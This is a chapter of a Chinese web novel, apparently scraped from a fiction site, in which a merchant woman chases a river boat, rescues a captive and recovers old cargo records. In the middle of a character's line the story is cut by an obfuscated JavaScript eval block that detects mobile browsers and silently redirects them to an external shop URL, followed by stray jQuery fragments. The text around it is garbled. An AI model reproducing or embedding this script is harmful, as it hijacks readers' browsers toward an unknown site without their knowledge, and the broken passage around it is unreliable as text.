文趣网 > 其他小说 > 穿成弃妇后,我把夫家搬空了 > 63. 他们把船往京城开,我从水路截
    追船不是骑马。

    水路有水路的规矩。

    安顺号下午离港,逆水北上。

    如果是普通货船,夜里多半会找泊点。

    如果急着赶路,则可能雇纤夫继续走。

    林知微没有一上来就喊“追”。

    她先问三件事。

    “船多大?”

    “两百料上下。”

    “吃水?”

    “下午离港时偏深。”

    “最近一个能换纤夫的点在哪?”

    “白石滩。”

    向导答完,自己都反应过来。

    “他们如果赶夜路,一定要在那里换人。”

    “我们能不能比它快?”

    “轻船可以。”

    “那就轻船。”

    临江现找最快的船并不难。

    难的是半夜愿意冒险追一条来历不明的船。

    船主开价八十两。

    比正常高四倍。

    青黛都皱眉。

    林知微却只问:“船和人可靠吗?”

    “可靠。”

    “给一百。”

    船主愣住。

    “多的二十两,买你别临时加价。”

    “若中途反悔,赔我两百。”

    “写契。”

    一刻钟后,契约签完。

    裴景和看着她:“你现在连追人都要先签账。”

    “越急越容易被人坐地起价。”

    “钱可以多给。”

    “规矩不能没有。”

    轻船出发。

    夜风很冷。

    林知微坐在舱里,把目前所有线索重新排了一遍。

    林二箱盖。

    顾六。

    归鹤号。

    长宁。

    安顺。

    船名一直变。

    但船籍、船体尺寸、修船记录、老船工的记忆,不可能全部一起消失。

    她忽然问:“安顺号是哪家货?”

    向导道:“登记是杂粮。”

    “哪里来的杂粮?”

    “城南丰裕行。”

    “查丰裕行。”

    青黛一愣:“现在?”

    “现在。”

    她手里已经不是只有自己几个人。

    青鹭埠和南线联运建立以后,她在沿途几个码头都有合作掌柜。

    消息可以顺水路往前递。

    这就是商路真正的价值。

    不只是运货。

    也运消息。

    一封短笺从下一处码头先行送出。

    不到两个时辰,回信追上来。

    丰裕行确实有这批杂粮。

    但他们原定明日出船。

    今天下午,有人拿了加急银子,临时把船提前。

    更关键的是——

    丰裕行只租了安顺号一半舱位。

    另一半是谁的,没有登记货名。

    “人。”

    裴景和道。

    林知微没说话。

    白石滩快到了。

    远处果然有一条大船停在岸边。

    灯很少。

    像不想引人注意。

    船主压低声音:“安顺。”

    他们没有直接靠。

    先从下游绕过去。

    裴景和带两个人上岸,从纤道靠近。

    林知微留在轻船。

    她不会武。

    这种时候硬跟上去不是勇敢,是添乱。

    她很清楚自己能做什么。

    等了大约两刻钟。

    岸上忽然传来一声短哨。

    是约好的信号。

    找到人了。

    可下一刻,大船突然亮起三盏灯。

    有人喊。

    “开船!”

    纤绳被砍断。

    安顺号借水势往河心滑。

    轻船船主骂了一声。

    “他们发现了!”

    林知微立刻道:“靠过去。”

    “林东家,这么撞很危险!”

    “不是撞。”

    她指向上游。

    “逼它往右。”

    白石滩右侧水浅。

    安顺号吃水深。

    只要往右偏,很容易搁浅。

    轻船小,反而能贴过去。

    船主瞬间明白。

    两条轻船一前一后逼近。

    安顺号上的人开始扔东西。

    木箱、粮袋。

    甚至有人拿长篙推他们。

    一只粮袋砸进水里,散开的却不是粮。

    是碎纸。

    林知微眼神一变。

    “捞!”

    伙计捞起几张湿纸。

    全是旧账。

    有人在销毁东西。

    安顺号最终还是偏了。

    船底传来一声闷响。

    搁浅。

    裴景和已经从岸上追到近处。

    两边人一起上船。

    冲突没有持续太久。

    对方显然没想到有人能这么快追上。

    船舱底层,顾六被绑在一根柱子上。

    活着。

    肩伤裂开。

    人却清醒。

    看见林知微,他第一句话就是:

    “东家,别管我。”

    “船底。”

    林知微蹲下。

    “什么?”

    “真正的东西在船底。”

    安顺号不是归鹤号。

    它只是一条用来转移旧物的船。

    船底夹层里,藏着一块完整的旧船籍铜牌。

    “归鹤。”

    还有一册被油布裹了三层的原始货单。

    二十一年前。

    十二万两那笔银子对应的货,根本不是禁货。

    是朝廷允许出海的药材、瓷器和丝绸。

    每一项都有原始数量和交割人。

    这份货单如果是真的,林家案最核心的一根钉子就松了。

    顾六却摇头。

    “还不够

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943112|213988||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    “为什么?”

    “货单能证明货没问题。”

    “证明不了银子是谁的。”

    “那谁能证明?”

    顾六喘了一口气。

    “归鹤号原来的船老大。”

    “还活着?”

    “活着。”

    “在哪?”

    顾六看向林知微。

    “京城。”

    所有人都愣了。

    他们从京城追到临江。

    最后要找的人,竟然一直在京城。

    “叫什么?”

    “没人知道真名。”

    顾六道。

    “现在只知道,他在京城做了二十年——”

    安顺号搁浅以后,船上的货主最先闹起来。真正的杂粮也在船上,几个无辜商户担心货受潮,围着船主索赔。林知微没有一句“我在办大事”就让别人认损失。她让人当场记录被水打湿的粮袋,属于追船造成的合理损失,由她先垫,再向绑人者追偿。船主看她的眼神都变了。

    从船底起出旧货单时,林知微没有让顾家人单独经手。发现位置、开夹层的人、在场船工全部签名按印。她甚至请白石滩当地里正过来做见证。二十一年前林家吃的就是证据被人一句话改掉的亏。如今她找到任何一张纸,都要让它从出现的第一刻就站得稳。

    顾六醒后一直自责,说顾长松交代他暗查,不该牵连林知微。她只问:“你若死了,顾家准备拿什么赔?”顾六答不上。她道:“所以以后别拿命做没写进账里的成本。”旁边的人听着像一句生意话,可顾六眼眶一下就红了。

    事情推进得越快,林知微反而越要求身边的人慢一点记账。谁在什么时辰说了什么、哪件东西从哪里发现、谁碰过、谁作证,都单独写。青黛最初觉得繁琐,后来自己也习惯了。她们现在不是在听一个传奇故事,而是在搭一条将来可能要拿到公堂甚至更高处去的证据链。

    她也没有无限制地往旧案里砸钱。每一笔查人、查船、查旧档的费用都单独设账,超过一定数额必须先报。不是舍不得,而是她不愿让“翻案”变成一个谁都能借名目从她这里拿银子的无底洞。真相值得查,钱也要花得明白。

    忙到深夜时,她偶尔也会想,如果父亲当年没有出事,自己是不是根本不会学会这些。这个念头只停一瞬。她不感谢苦难。苦难就是苦难。她只承认自己已经走到了这里,并且有本事把接下来的路走得比过去清楚。

    她把这一条也写进随身的小册子:越接近答案,越不要替答案着急。过去二十一年已经够长,她不差多查几日。真正重要的是,下一次有人质疑时,她不需要说“我相信”,只需要把一张张能互相对上的纸放到桌上。她不催自己,也不催别人。

    白石滩的货损清点完后,她让账房把垫付赔偿和追索款分成两栏。哪怕最后抓到人,也不能把尚未追回的钱提前当成收入。赵有德不在身边,她仍按同一套规则做。规矩真正有用的时候,就是没人提醒也会照做。

    “摆渡人。”